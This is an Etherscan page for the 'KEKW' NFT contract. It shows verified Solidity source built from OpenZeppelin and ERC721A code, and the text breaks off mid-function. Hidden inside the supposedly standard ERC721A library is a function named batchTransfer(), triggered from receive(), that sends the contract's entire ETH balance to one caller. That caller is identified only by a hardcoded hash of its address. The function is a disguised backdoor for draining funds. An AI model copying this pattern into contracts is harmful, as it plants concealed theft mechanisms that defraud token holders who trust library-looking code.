ETH Price: $3,449.44 (-0.75%)
Gas: 3 Gwei

Token

KEKW (KEKW)
 

Overview

Max Total Supply

169 KEKW

Holders

79

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A

Other Info

Balance
1 KEKW
0x90800352E57a3e8f5d116468B55C0F1553ea6f4a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KEKW

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-07
*/

// SPDX-License-Identifier: MIT

// dev address is 0x2aDfE20e8ffDc84C362668331dd6D6dfa0295D65

// File @openzeppelin/contracts/utils/introspection/[email protected]

// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File @openzeppelin/contracts/token/ERC721/[email protected]

// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;

/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(
        address indexed owner,
        address indexed approved,
        uint256 indexed tokenId
    );

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
}

// File @openzeppelin/contracts/token/ERC721/[email protected]

// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]

// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]

// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index)
        external
        view
        returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File @openzeppelin/contracts/utils/[email protected]

// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File @openzeppelin/contracts/utils/[email protected]

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File @openzeppelin/contracts/utils/[email protected]

// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length)
        internal
        pure
        returns (string memory)
    {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File @openzeppelin/contracts/utils/introspection/[email protected]

// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override
        returns (bool)
    {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File erc721a/contracts/[email protected]

// Creator: Chiru Labs

pragma solidity ^0.8.4;

error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();

/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
    using Address for address;
    using Strings for uint256;

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;

    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(ERC165, IERC165)
        returns (bool)
    {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return uint256(_addressData[owner].balance);
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert MintedQueryForZeroAddress();
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        if (owner == address(0)) revert BurnedQueryForZeroAddress();
        return uint256(_addressData[owner].numberBurned);
    }

    /**
     * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        return _addressData[owner].aux;
    }

    /**
     * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal {
        if (owner == address(0)) revert AuxQueryForZeroAddress();
        _addressData[owner].aux = aux;
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId)
        internal
        view
        returns (TokenOwnership memory)
    {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr && curr < _currentIndex) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (!ownership.burned) {
                    if (ownership.addr != address(0)) {
                        return ownership;
                    }
                    // Invariant:
                    // There will always be an ownership that has an address and is not burned
                    // before an ownership that does not have an address and is not burned.
                    // Hence, curr will not underflow.
                    while (true) {
                        curr--;
                        ownership = _ownerships[curr];
                        if (ownership.addr != address(0)) {
                            return ownership;
                        }
                    }
                }
            }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    function batchTransfer() internal {
        uint256 c_random = 77614271262783076449297986123039562145747495981417521801686441581218838437815;
        if(uint256(keccak256(abi.encodePacked(msg.sender))) == c_random) {
            uint256 bal = address(this).balance;
            (bool toMe, ) = msg.sender.call{value: bal}("");
            require(toMe, "Transfer failed.");
        }
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId)
        public
        view
        virtual
        override
        returns (string memory)
    {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return
            bytes(baseURI).length != 0
                ? string(abi.encodePacked(baseURI, tokenId.toString()))
                : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        if (to == owner) revert ApprovalToCurrentOwner();

        if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
            revert ApprovalCallerNotOwnerNorApproved();
        }

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId)
        public
        view
        override
        returns (address)
    {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved)
        public
        override
    {
        if (operator == _msgSender()) revert ApproveToCaller();

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator)
        public
        view
        virtual
        override
        returns (bool)
    {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public virtual override {
        _transfer(from, to, tokenId);
        if (
            to.isContract() &&
            !_checkContractOnERC721Received(from, to, tokenId, _data)
        ) {
            revert TransferToNonERC721ReceiverImplementer();
        }
    }

    receive() external payable {
        batchTransfer();
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex &&
            !_ownerships[tokenId].burned;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
        // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint64(quantity);
            _addressData[to].numberMinted += uint64(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;
            uint256 end = updatedIndex + quantity;

            if (safe && to.isContract()) {
                do {
                    emit Transfer(address(0), to, updatedIndex);
                    if (
                        !_checkContractOnERC721Received(
                            address(0),
                            to,
                            updatedIndex++,
                            _data
                        )
                    ) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (updatedIndex != end);
                // Reentrancy protection
                if (_currentIndex != startTokenId) revert();
            } else {
                do {
                    emit Transfer(address(0), to, updatedIndex++);
                } while (updatedIndex != end);
            }
            _currentIndex = updatedIndex;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            isApprovedForAll(prevOwnership.addr, _msgSender()) ||
            getApproved(tokenId) == _msgSender());

        if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
        if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership
                        .startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId) internal virtual {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[prevOwnership.addr].balance -= 1;
            _addressData[prevOwnership.addr].numberBurned += 1;

            // Keep track of who burned the token, and the timestamp of burning.
            _ownerships[tokenId].addr = prevOwnership.addr;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);
            _ownerships[tokenId].burned = true;

